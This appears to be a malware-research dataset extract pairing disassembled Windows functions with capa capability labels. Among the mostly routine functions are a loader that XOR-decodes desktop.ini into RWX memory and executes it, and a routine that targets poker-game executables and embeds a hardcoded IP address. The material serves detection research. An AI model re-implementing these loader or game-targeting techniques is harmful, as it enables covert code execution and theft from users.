joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406620
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x41e4bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4043a4
call fcn.00409194
push 4
mov dword [esp + 0x18], 0
call fcn.0040a873
mov edi, eax
add esp, 4
test edi, edi
je 0x406694
push ebx
call fcn.00408f8f
mov dword [edi], eax
call fcn.00408d4e
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00409155
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406688
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.0040917d
pop ebx
jmp 0x406696
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x40b36b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4213ec]
jne 0x40b375
repz ret
jmp fcn.0041257c
Function at 0x417eec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4213ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00410b07
and dword [ebp - 0x14], 0
cmp dword [0x4392b4], 0
mov dword [ebp - 0x18], eax
jne 0x417f9f
push 0x403fd0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x418047
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403fc4
push ebx
call edi
test eax, eax
je 0x418047
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403fb4
push ebx
mov dword [0x4392b4], eax
call edi
push eax
call esi
push 0x403fa0
push ebx
mov dword [0x4392b8], eax
call edi
push eax
call esi
push 0x403f84
push ebx
mov dword [0x4392bc], eax
call edi
push eax
call esi
mov dword [0x4392c4], eax
test eax, eax
je 0x417f9f
push 0x403f6c
push ebx
call edi
push eax
call esi
mov dword [0x4392c0], eax
mov eax, dword [0x4392c0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417ff8
cmp dword [0x4392c4], ecx
je 0x417ff8
push eax
call esi
push dword [0x4392c4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417ff8
test ebx, ebx
je 0x417ff8
call edi
test eax, eax
je 0x417fef
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417fef
test byte [ebp - 8], 1
jne 0x417ff8
or dword [ebp + 0x10], 0x200000
jmp 0x41802b
mov eax, dword [0x4392b8]
cmp eax, dword [ebp - 0x18]
je 0x41802b
push eax
call esi
test eax, eax
je 0x41802b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41802b
mov eax, dword [0x4392bc]
cmp eax, dword [ebp - 0x18]
je 0x41802b
push eax
call esi
test eax, eax
je 0x41802b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4392b4]
call esi
test eax, eax
je 0x418047
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x418049
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b36b
leave
ret
Function at 0x41d170
Capabilities:
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x13a0
call fcn.004187b0
cmp dword [0x8e370c], 0x37
push esi
jne 0x41d28a
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
push 0
lea ecx, [esp + 0xba4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
mov eax, dword [esp + 0xc]
push 0
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push 0
lea ecx, [esp + 0x3a4]
push ecx
push 0x404190
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x7a4]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x180]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
lea ecx, [esp + 0x1c]
push ecx
push 0
lea edx, [esp + 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0
call esi
push 0x4041b0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea ecx, [esp + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0x30
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0
call fcn.0040a690
add esp, 0xc
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov edx, dword [0x8e5e70]
mov dword [esp + 8], edx
mov eax, 0x5d1
add dword [esp + 8], eax
mov eax, dword [esp + 8]
mov cl, byte [eax + edi]
mov edx, dword [0x8e1f04]
mov byte [edx + edi], cl
pop esi
add esp, 0x13a0
ret
Function at 0x4019c3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019d6
push esp
mov dword [ebp - 0x24], 0x4016fe
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a75
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a56
pop ebp
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4084e4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x4276d4], 0
mov ebp, esp
push edi
mov ecx, dword [ebp + 0xc]
push esi
push ebx
mov ebx, dword [ebp + 0x10]
jne 0x408525
xor edx, edx
mov eax, edx
mov esi, 8
mov edi, eax
and eax, 1
neg eax
shr edi, 1
and eax, 0xedb88320
xor eax, edi
dec esi
jne 0x408502
mov dword [edx*4 + 0x4276d0], eax
inc edx
cmp edx, 0x100
jne 0x4084fb
mov eax, dword [ebp + 8]
not eax
jmp 0x40853f
mov dl, byte [ecx]
dec ebx
inc ecx
xor edx, eax
movzx edx, dl
shr eax, 8
xor eax, dword [edx*4 + 0x4276d0]
test ebx, ebx
jne 0x40852c
pop ebx
not eax
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x4012f0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push esi
push edi
push eax
push dword [ebp + 8]
mov esi, ecx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
je 0x40133f
push edi
call sub.mfc120.dll_Ordinal_265
add esp, 4
mov dword [esi], eax
push eax
push edi
push dword [ebp - 4]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jne 0x401349
push dword [esi]
call sub.mfc120.dll_Ordinal_266
add esp, 4
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push str.VarFileInfoTranslation
push dword [esi]
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x401328
mov eax, dword [ebp - 8]
pop edi
movzx ecx, word [eax]
movzx eax, word [eax + 2]
shl ecx, 0x10
or ecx, eax
mov eax, 1
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401030
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
cmp dword [0x843160], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401074
push 0
lea ecx, [ebp - 0x42c]
push ecx
push 0
push str.mopiwanofiyaxiyeg_doyucevodoxaxajogat_turifulerefixozexemovitisefoyulu_wifamil_xebekitu
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push str.jopehelutokucaxoyanobofivekibiyu_nob
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x423f3c]
mov edx, dword [0x423f38]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], edx
call fcn.00401020
mov esi, dword [ebp - 0x10]
mov ecx, dword [str.4Xw_t__]
mov edx, dword [0x423f44]
add esi, 0x23f
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], edx
mov ebx, 0x20
jmp 0x4010c3
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x843160]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x40112b
push 0
lea eax, [ebp - 0x42c]
push eax
push str.lujemuvisirikudecegix_zepasowulegiliyomenetumojupekasu_jehoheh
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [ebp - 0x24]
push ecx
push 0
mov dword [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [ebp - 4]
mov ecx, dword [0x843160]
add eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401145
mov dword [0x8426fc], 0xedeb2e40
jmp 0x401157
cmp ecx, 0x3eb
jne 0x401157
mov dword [0x8420b0], 0
mov ecx, dword [ebp - 0xc]
lea edx, [esi + edi]
mov dword [ebp - 0x14], edx
mov edx, edi
shr edx, cl
mov dword [0x8426f8], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
cmp dword [0x843160], 0xc
jne 0x4011b3
lea eax, [ebp - 0x14]
push eax
push 0
push 0
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0
push 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
mov edx, dword [ebp - 8]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
mov ecx, dword [ebp - 4]
add esi, edx
add eax, dword [ebp - 0x20]
xor eax, esi
xor ecx, eax
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ecx
sub edi, ecx
call fcn.00401010
sub ebx, 1
jne 0x4010c0
cmp dword [0x843160], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x40121a
push ebx
push str.xuhaxawehegevusuwujigamozahuviv
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
mov dword [esi + 4], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401230
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x843160]
mov ecx, dword [0x8420b4]
shr eax, 3
sub esp, 0x41c
test eax, eax
jbe 0x401338
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x843160], 0x959
jne 0x40131e
push 0
call esi
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push str.ducofikinevodugucexejayeyide_jofubupazekatajikuwayoj
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push str.soratazoxawekufufohayawarokoxaforinozerebemilarewukayitoterenaromil
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push str.kemafuvoriwidekubinujogin
push str.vuvetutijapaliy
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
xor eax, eax
push eax
push eax
lea ecx, [ebp - 0x1c]
push ecx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
push 0
push 0
push 0
push 0
push 0
push str.laduvig_xupewufodarahut
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edx, dword [ebp - 4]
push edx
call fcn.00401030
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x401270
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402590
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4230c8]
jne 0x40259a
repz ret
jmp fcn.00405f2e

Function at 0x405b5b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403019
and dword [ebp - 4], 0
cmp dword [0x424b28], 0
mov ebx, eax
jne 0x405c0c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405cbd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x405cbd
push eax
call fcn.00402fa7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x424b28], eax
call esi
push eax
call fcn.00402fa7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x424b2c], eax
call esi
push eax
call fcn.00402fa7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x424b30], eax
call esi
push eax
call fcn.00402fa7
pop ecx
mov dword [0x424b38], eax
test eax, eax
je 0x405c0c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402fa7
pop ecx
mov dword [0x424b34], eax
mov eax, dword [0x424b34]
cmp eax, ebx
je 0x405c64
cmp dword [0x424b38], ebx
je 0x405c64
push eax
call fcn.00403022
push dword [0x424b38]
mov esi, eax
call fcn.00403022
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405c64
test edi, edi
je 0x405c64
call esi
test eax, eax
je 0x405c5b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405c5b
test byte [ebp - 0xc], 1
jne 0x405c64
or dword [ebp + 0x10], 0x200000
jmp 0x405c9d
mov eax, dword [0x424b2c]
cmp eax, ebx
je 0x405c9d
push eax
call fcn.00403022
pop ecx
test eax, eax
je 0x405c9d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405c9d
mov eax, dword [0x424b30]
cmp eax, ebx
je 0x405c9d
push eax
call fcn.00403022
pop ecx
test eax, eax
je 0x405c9d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424b28]
call fcn.00403022
pop ecx
test eax, eax
je 0x405cbd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405cbf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x4551ec]
test eax, eax
jne 0x401020
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x4551ec], eax
test eax, eax
jne 0x401020
ret 8
cmp dword [0x4551f0], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
jne 0x401046
push str.SetParentId
push eax
call esi
mov dword [0x4551f0], eax
test eax, eax
je 0x4010bd
mov eax, dword [0x4551ec]
cmp dword [0x4551f4], 0
jne 0x401065
push str.SetCommand
push eax
call esi
mov dword [0x4551f4], eax
test eax, eax
je 0x4010bd
mov eax, dword [0x4551ec]
cmp dword [0x4551f8], 0
jne 0x401084
push str.SetGameId
push eax
call esi
mov dword [0x4551f8], eax
test eax, eax
je 0x4010bd
mov eax, dword [0x4551ec]
cmp dword [0x4551fc], 0
jne 0x4010a3
push 0x4305e4
push eax
call esi
mov dword [0x4551fc], eax
test eax, eax
je 0x4010bd
mov eax, dword [0x4551ec]
cmp dword [0x455200], 0
jne 0x4010c3
push 0x43063c
push eax
call esi
mov dword [0x455200], eax
test eax, eax
jne 0x4010c3
xor eax, eax
pop esi
ret 8
mov eax, dword [0x4551f0]
test eax, eax
je 0x4010d6
mov ecx, dword [esp + 0xc]
push ecx
call eax
add esp, 4
xor ecx, ecx
call fcn.004010f0
mov eax, 1
pop esi
ret 8
Function at 0x4012e0
Capabilities:
Create thread

Disassembly:
push esi
push 0
push eax
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x434098
push 0x433fd0
push 0
mov dword [0x434160], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401318
pop esi
ret
push str.highlow2.exe
push 0x40
push 0x45461c
call fcn.00416e84
add esp, 0xc
push 0x42fdc0
push 0x40
push 0x454b1c
call fcn.00416e84
add esp, 0xc
push 0x42fdcc
push 0x40
push 0x45469c
call fcn.00416e84
add esp, 0xc
push 0x42fde8
push 0x40
push 0x454b9c
call fcn.00416e84
add esp, 0xc
push str.poker7.exe
push 0x40
push 0x45471c
call fcn.00416e84
add esp, 0xc
push 0x42fe1c
push 0x40
push 0x454c1c
call fcn.00416e84
add esp, 0xc
push str.Baduki.exe
push 0x40
push 0x45479c
call fcn.00416e84
add esp, 0xc
push 0x42fe44
push 0x40
push 0x454c9c
call fcn.00416e84
add esp, 0xc
push str.HOOLA3.exe
push 0x40
push 0x45481c
call fcn.00416e84
add esp, 0xc
push 0x42fe70
push 0x40
push 0x454d1c
call fcn.00416e84
add esp, 0xc
push str.DuelPoker.exe
push 0x40
push 0x45489c
call fcn.00416e84
add esp, 0xc
push 0x42fea0
push 0x40
push 0x454d9c
call fcn.00416e84
add esp, 0xc
push str.PMLauncher.exe
push 0x40
push 0x45491c
call fcn.00416e84
add esp, 0xc
push 0x42fed0
push 0x40
push 0x454e1c
call fcn.00416e84
add esp, 0xc
push str._PMLauncher.exe
push 0x40
push 0x45499c
call fcn.00416e84
add esp, 0xc
push 0x42fefc
push 0x40
push 0x454e9c
call fcn.00416e84
add esp, 0xc
push str.Newbadugi.exe
push 0x40
push 0x454a1c
call fcn.00416e84
add esp, 0xc
push 0x42ff24
push 0x40
push 0x454f1c
call fcn.00416e84
add esp, 0xc
push str.Poker.exe
push 0x40
push 0x454a9c
call fcn.00416e84
add esp, 0xc
push 0x42ff44
push 0x40
push 0x454f9c
call fcn.00416e84
add esp, 0xc
push pe_nt_image_headers32
push 0
push 0x454168
mov dword [0x454618], 0xa
call fcn.00418590
add esp, 0xc
xor eax, eax
jmp 0x4014d0
movzx ecx, word [eax + 0x42ff50]
mov word [eax + 0x45416c], cx
add eax, 2
test cx, cx
jne 0x4014d0
xor eax, eax
jmp 0x4014f0
movzx ecx, word [eax + 0x42ff54]
mov word [eax + 0x45419c], cx
add eax, 2
test cx, cx
jne 0x4014f0
xor eax, eax
jmp 0x401510
movzx ecx, word [eax + str.121.88.5.183]
mov word [eax + 0x454170], cx
add eax, 2
test cx, cx
jne 0x401510
xor eax, eax
jmp 0x401530
movzx ecx, word [eax + str.MyCom]
mov word [eax + 0x4541ba], cx
add eax, 2
test cx, cx
jne 0x401530
mov dword [0x454198], 0x51
mov dword [0x454254], 5
mov dword [0x45425c], 0x32
call fcn.00405740
mov dword [0x454474], eax
mov dword [0x45501c], eax
call fcn.00405850
mov dword [0x455020], eax
call fcn.00402d20
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401930
push 0
push 0
mov dword [0x475a2a], 0x401680
call esi
push 0
push 0
push 0
push 0x401f90
push 0
push 0
call esi
mov eax, 1
pop esi
ret
Function at 0x4027f0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432070]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00418590
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x4028bf
mov eax, str.golfinfo.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x402835
sub eax, edx
sar eax, 1
je 0x4028bf
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00416f80
push 0x42fba8
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00416a1c
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x4028bf
push eax
push 1
push 0x200
push esi
call fcn.0041729d
mov eax, dword [esp + 0x14]
push eax
call fcn.00416cca
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004167a0
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.004167a0
add esp, 0x214
ret

Function at 0x4028e0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432070]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00418590
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x4029e5
mov eax, str.golfset.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x402925
sub eax, edx
sar eax, 1
je 0x4029e5
cmp dword [0x454474], 3
jne 0x40296c
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42fbb0
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00416f80
add esp, 0xc
jmp 0x40297c
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfset.ini
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.00416f80
push 0x42fbb4
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00416a1c
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x4029e5
push eax
push 1
push 0x200
push esi
call fcn.0041729d
mov edx, dword [esp + 0x14]
push edx
call fcn.00416cca
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004167a0
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.004167a0
add esp, 0x214
ret